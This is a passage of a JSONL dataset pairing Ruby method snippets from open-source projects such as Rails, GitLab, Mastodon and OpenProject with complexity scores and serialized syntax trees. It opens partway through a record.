\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project_id\"]}]},{\"type\":\"str\",\"children\":[\" and \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline_id\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"class\"]}]},{\"type\":\"str\",\"children\":[\". Ignoring.\"]}]}]},{\"type\":\"array\",\"children\":[]}]}]},null]}]}","id":"75f80f89-2f0c-4766-88c5-cb4394dfe374"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/emoji_reactions/emoji_reactions_by_activity_comment_api.rb","start_line":49,"raw_source":"def activity_comment?\n              reactable.notes.present?\n            end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"activity_comment?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reactable\"]},\"notes\"]},\"present?\"]}]}","id":"4dbafdd9-abbb-4600-aa09-af63d8303b34"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/api/v1/organizations_controller.rb","start_line":99,"raw_source":"def organization_params\n        params.require(:organization).permit(:id, :name, :profile_image, :slug, :summary, :tag_line, :url)\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"organization_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"organization\"]}]},\"permit\",{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"profile_image\"]},{\"type\":\"sym\",\"children\":[\"slug\"]},{\"type\":\"sym\",\"children\":[\"summary\"]},{\"type\":\"sym\",\"children\":[\"tag_line\"]},{\"type\":\"sym\",\"children\":[\"url\"]}]}]}","id":"4a509194-8d4e-41a6-b6de-90d63c9720de"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/connection_adapters/connection_handler_test.rb","start_line":361,"raw_source":"def test_forked_child_doesnt_mangle_parent_connection\n          object_id = ActiveRecord::Base.lease_connection.object_id\n          assert_predicate ActiveRecord::Base.lease_connection, :active?\n\n          rd, wr = IO.pipe\n          rd.binmode\n          wr.binmode\n\n          pid = fork {\n            rd.close\n            wr.write Marshal.dump [\n              ActiveRecord::Base.lease_connection.object_id,\n            ]\n            wr.close\n\n            exit # allow finalizers to run\n          }\n\n          wr.close\n\n          Process.waitpid pid\n          child_id = Marshal.load(rd.read)\n          assert_not_equal object_id, child_id\n          rd.close\n\n          assert_equal 3, ActiveRecord::Base.lease_connection.select_value(\"SELECT COUNT(*) FROM people\")\n        end","complexity_score":35.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_forked_child_doesnt_mangle_parent_connection\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"object_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"lease_connection\"]},\"object_id\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"lease_connection\"]},{\"type\":\"sym\",\"children\":[\"active?\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rd\"]},{\"type\":\"lvasgn\",\"children\":[\"wr\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IO\"]},\"pipe\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rd\"]},\"binmode\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wr\"]},\"binmode\"]},{\"type\":\"lvasgn\",\"children\":[\"pid\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fork\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rd\"]},\"close\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wr\"]},\"write\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Marshal\"]},\"dump\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"lease_connection\"]},\"object_id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wr\"]},\"close\"]},{\"type\":\"send\",\"children\":[null,\"exit\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wr\"]},\"close\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"waitpid\",{\"type\":\"lvar\",\"children\":[\"pid\"]}]},{\"type\":\"lvasgn\",\"children\":[\"child_id\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Marshal\"]},\"load\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rd\"]},\"read\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_equal\",{\"type\":\"lvar\",\"children\":[\"object_id\"]},{\"type\":\"lvar\",\"children\":[\"child_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rd\"]},\"close\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[3]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"lease_connection\"]},\"select_value\",{\"type\":\"str\",\"children\":[\"SELECT COUNT(*) FROM people\"]}]}]}]}]}","id":"6a4901c4-504c-434f-aa8a-a03ef99fcf2b"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/product.rb","start_line":421,"raw_source":"def ensure_option_types_exist_for_values_hash\n      return if option_values_hash.nil?\n\n      # we need to convert the keys to string to make it work with UUIDs\n      required_option_type_ids = option_values_hash.keys.map(&:to_s)\n      missing_option_type_ids = required_option_type_ids - option_type_ids.map(&:to_s)\n      missing_option_type_ids.each do |id|\n        product_option_types.create(option_type_id: id)\n      end\n    end","complexity_score":19.4,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_option_types_exist_for_values_hash\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"option_values_hash\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"required_option_type_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"option_values_hash\"]},\"keys\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"missing_option_type_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"required_option_type_ids\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"option_type_ids\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"missing_option_type_ids\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"product_option_types\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"option_type_id\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]}]}]}]}","id":"b46b58eb-8750-42b3-918d-c21ba7d9d51a"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/structured_event_subscriber_test.rb","start_line":73,"raw_source":"def test_start_processing_as_json\n      assert_event_reported(\"action_controller.request_started\", payload: {\n        controller: Another::StructuredEventSubscribersController.name,\n        action: \"show\",\n        format: \"JSON\"\n      }) do\n        get :show, format: \"json\"\n      end\n    end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_start_processing_as_json\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_event_reported\",{\"type\":\"str\",\"children\":[\"action_controller.request_started\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Another\"]},\"StructuredEventSubscribersController\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"show\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"str\",\"children\":[\"JSON\"]}]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"show\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"str\",\"children\":[\"json\"]}]}]}]}]}]}","id":"f35a4fad-4f00-44fb-911f-de816384c086"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/migration_generator_test.rb","start_line":372,"raw_source":"def test_create_table_migration_with_singular_table_name\n    with_singular_table_name do\n      run_generator [\"create_book\", \"title:string\", \"content:text\"]\n      assert_migration \"db/migrate/create_book.rb\" do |content|\n        assert_method :change, content do |change|\n          assert_match(/create_table :book/, change)\n          assert_match(/  t\\.string :title/, change)\n          assert_match(/  t\\.text :content/, change)\n        end\n      end\n    end\n  end","complexity_score":12.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_create_table_migration_with_singular_table_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_singular_table_name\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_generator\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"create_book\"]},{\"type\":\"str\",\"children\":[\"title:string\"]},{\"type\":\"str\",\"children\":[\"content:text\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_migration\",{\"type\":\"str\",\"children\":[\"db/migrate/create_book.rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_method\",{\"type\":\"sym\",\"children\":[\"change\"]},{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"change\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"create_table :book\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"change\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"  t\\\\.string :title\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"change\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"  t\\\\.text :content\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"change\"]}]}]}]}]}]}]}]}","id":"75495e6b-187d-4bea-a5c0-041e62904c20"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb","start_line":82,"raw_source":"def has_corrections?\n      @exception.respond_to?(:original_message) && @exception.respond_to?(:corrections)\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_corrections?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@exception\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"original_message\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@exception\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"corrections\"]}]}]}]}","id":"7ec2dec5-253e-4037-a687-f46b42b82c5f"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/serializers/activitypub/note_serializer.rb","start_line":117,"raw_source":"def url\n    ActivityPub::TagManager.instance.url_for(object)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"TagManager\"]},\"instance\"]},\"url_for\",{\"type\":\"send\",\"children\":[null,\"object\"]}]}]}","id":"b4f221ed-7616-4b63-bfd8-bbf78caedc93"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/container_repository.rb","start_line":133,"raw_source":"def manifest\n    @manifest ||= client.repository_tags(path)\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"manifest\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@manifest\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"repository_tags\",{\"type\":\"send\",\"children\":[null,\"path\"]}]}]}]}","id":"5572a018-eb72-4fe4-b01e-59664b9afa97"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/db_cleaner.rb","start_line":36,"raw_source":"def more_than_allowed_columns?(connection_class)\n    # Postgres maximum number of columns in a table is 1600 (https://github.com/postgres/postgres/blob/de41869b64d57160f58852eab20a27f248188135/src/include/access/htup_details.h#L23-L47).\n    # And since:\n    # \"The DROP COLUMN form does not physically remove the column, but simply makes\n    # it invisible to SQL operations. Subsequent insert and update operations in the\n    # table will store a null value for the column. Thus, dropping a column is quick\n    # but it will not immediately reduce the on-disk size of your table, as the space\n    # occupied by the dropped column is not reclaimed.\n    # The space will be reclaimed over time as existing rows are updated.\"\n    # according to https://www.postgresql.org/docs/current/sql-altertable.html.\n    # We drop and recreate the database if any table has more than 1200 columns, just to be safe.\n    max_allowed_columns = 1200\n    tables_with_more_than_allowed_columns = connection_class.connection.execute(<<-SQL)\n      SELECT attrelid::regclass::text AS table, COUNT(*) AS column_count\n        FROM pg_attribute\n        GROUP BY attrelid\n        HAVING COUNT(*) > #{max_allowed_columns}\n    SQL\n\n    tables_with_more_than_allowed_columns.each do |result|\n      puts \"The #{result['table']} (#{connection_class.connection_db_config.name}) table has #{result['column_count']} columns.\"\n    end\n\n    tables_with_more_than_allowed_columns.any?\n  end","complexity_score":13.95,"ast_json":"{\"type\":\"def\",\"children\":[\"more_than_allowed_columns?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"connection_class\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"max_allowed_columns\",{\"type\":\"int\",\"children\":[1200]}]},{\"type\":\"lvasgn\",\"children\":[\"tables_with_more_than_allowed_columns\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection_class\"]},\"connection\"]},\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"      SELECT attrelid::regclass::text AS table, COUNT(*) AS column_count\\n\"]},{\"type\":\"str\",\"children\":[\"        FROM pg_attribute\\n\"]},{\"type\":\"str\",\"children\":[\"        GROUP BY attrelid\\n\"]},{\"type\":\"str\",\"children\":[\"        HAVING COUNT(*) > \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"max_allowed_columns\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tables_with_more_than_allowed_columns\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"str\",\"children\":[\"table\"]}]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection_class\"]},\"connection_db_config\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\") table has \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"str\",\"children\":[\"column_count\"]}]}]},{\"type\":\"str\",\"children\":[\" columns.\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tables_with_more_than_allowed_columns\"]},\"any?\"]}]}]}","id":"8176b4d9-522a-491f-970b-a28ea666705e"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/queries/schemas/filter_dependency_representer_factory.rb","start_line":81,"raw_source":"def type_specific_representer_class(filter)\n            representer_name = \"#{filter.type.to_s.camelize}FilterDependencyRepresenter\"\n\n            if API::V3::Queries::Schemas.const_defined?(representer_name)\n              \"API::V3::Queries::Schemas::#{representer_name}\"\n            end\n          end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"type_specific_representer_class\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filter\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"representer_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filter\"]},\"type\"]},\"to_s\"]},\"camelize\"]}]},{\"type\":\"str\",\"children\":[\"FilterDependencyRepresenter\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"API\"]},\"V3\"]},\"Queries\"]},\"Schemas\"]},\"const_defined?\",{\"type\":\"lvar\",\"children\":[\"representer_name\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"API::V3::Queries::Schemas::\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"representer_name\"]}]}]},null]}]}]}","id":"a5abcea2-b9e3-4bb8-9310-103430f02a54"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/space_after_comma.rb","start_line":26,"raw_source":"def kind(token)\n          'comma' if token.comma? && !before_semicolon?(token)\n        end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"kind\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"token\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"comma?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"before_semicolon?\",{\"type\":\"lvar\",\"children\":[\"token\"]}]},\"!\"]}]},{\"type\":\"str\",\"children\":[\"comma\"]},null]}]}","id":"45945b3b-eb44-4327-9ec5-90f50825e611"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/cache/behaviors/cache_logging_behavior.rb","start_line":36,"raw_source":"def test_delete_logging\n    assert_logs(/Cache delete: #{key_pattern(\"foo\")}/) do\n      @cache.delete(\"foo\")\n    end\n\n    assert_logs(/Cache delete: #{key_pattern(\"foo\", namespace: \"bar\")}/) do\n      @cache.delete(\"foo\", namespace: \"bar\")\n    end\n  end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_delete_logging\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_logs\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Cache delete: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"key_pattern\",{\"type\":\"str\",\"children\":[\"foo\"]}]}]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"delete\",{\"type\":\"str\",\"children\":[\"foo\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_logs\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Cache delete: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"key_pattern\",{\"type\":\"str\",\"children\":[\"foo\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace\"]},{\"type\":\"str\",\"children\":[\"bar\"]}]}]}]}]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"delete\",{\"type\":\"str\",\"children\":[\"foo\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace\"]},{\"type\":\"str\",\"children\":[\"bar\"]}]}]}]}]}]}]}","id":"6f99943c-d467-46b2-a2c0-874224c7436e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/web_services/servlet_helper.rb","start_line":29,"raw_source":"def set_json_data_response(response:, includes: nil, code: 200)\n    data_response = { data: response }\n    set_json_response(data_response, includes = includes, code = code)\n  end","complexity_score":4.65,"ast_json":"{\"type\":\"def\",\"children\":[\"set_json_data_response\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"response\"]},{\"type\":\"kwoptarg\",\"children\":[\"includes\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"code\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data_response\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"set_json_response\",{\"type\":\"lvar\",\"children\":[\"data_response\"]},{\"type\":\"lvasgn\",\"children\":[\"includes\",{\"type\":\"lvar\",\"children\":[\"includes\"]}]},{\"type\":\"lvasgn\",\"children\":[\"code\",{\"type\":\"lvar\",\"children\":[\"code\"]}]}]}]}]}","id":"c0b42f40-7869-4c38-81df-0c03c251f0b5"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/validations/length_validation_test.rb","start_line":13,"raw_source":"def test_validates_length_of_with_allow_nil\n    Topic.validates_length_of(:title, is: 5, allow_nil: true)\n\n    assert_predicate Topic.new(\"title\" => \"ab\"), :invalid?\n    assert_predicate Topic.new(\"title\" => \"\"), :invalid?\n    assert_predicate Topic.new(\"title\" => nil), :valid?\n    assert_predicate Topic.new(\"title\" => \"abcde\"), :valid?\n  end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_validates_length_of_with_allow_nil\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"validates_length_of\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"is\"]},{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allow_nil\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"ab\"]}]}]}]},{\"type\":\"sym\",\"children\":[\"invalid?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"sym\",\"children\":[\"invalid?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"title\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"sym\",\"children\":[\"valid?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"abcde\"]}]}]}]},{\"type\":\"sym\",\"children\":[\"valid?\"]}]}]}]}","id":"cc6fe2cd-82ad-45a8-83d1-42af464fec82"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/asset_tag_helper_test.rb","start_line":807,"raw_source":"def test_preload_link_tag_fetchpriority_html_and_header_consistency\n    with_preload_links_header do\n      html_tag = preload_link_tag(\"http://example.com/critical.css\", fetchpriority: \"high\")\n      # Verify HTML tag includes fetchpriority\n      assert_match(/fetchpriority=\"high\"/, html_tag)\n\n      expected_header = \"<http://example.com/critical.css>; rel=preload; as=style; type=text/css; fetchpriority=high\"\n      assert_equal expected_header, @response.headers[\"link\"]\n    end\n  end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_preload_link_tag_fetchpriority_html_and_header_consistency\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_preload_links_header\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"html_tag\",{\"type\":\"send\",\"children\":[null,\"preload_link_tag\",{\"type\":\"str\",\"children\":[\"http://example.com/critical.css\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fetchpriority\"]},{\"type\":\"str\",\"children\":[\"high\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"fetchpriority=\\\"high\\\"\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"html_tag\"]}]},{\"type\":\"lvasgn\",\"children\":[\"expected_header\",{\"type\":\"str\",\"children\":[\"<http://example.com/critical.css>; rel=preload; as=style; type=text/css; fetchpriority=high\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected_header\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"link\"]}]}]}]}]}]}","id":"1f7552ff-4ecf-4723-9716-ae4877ddf601"}
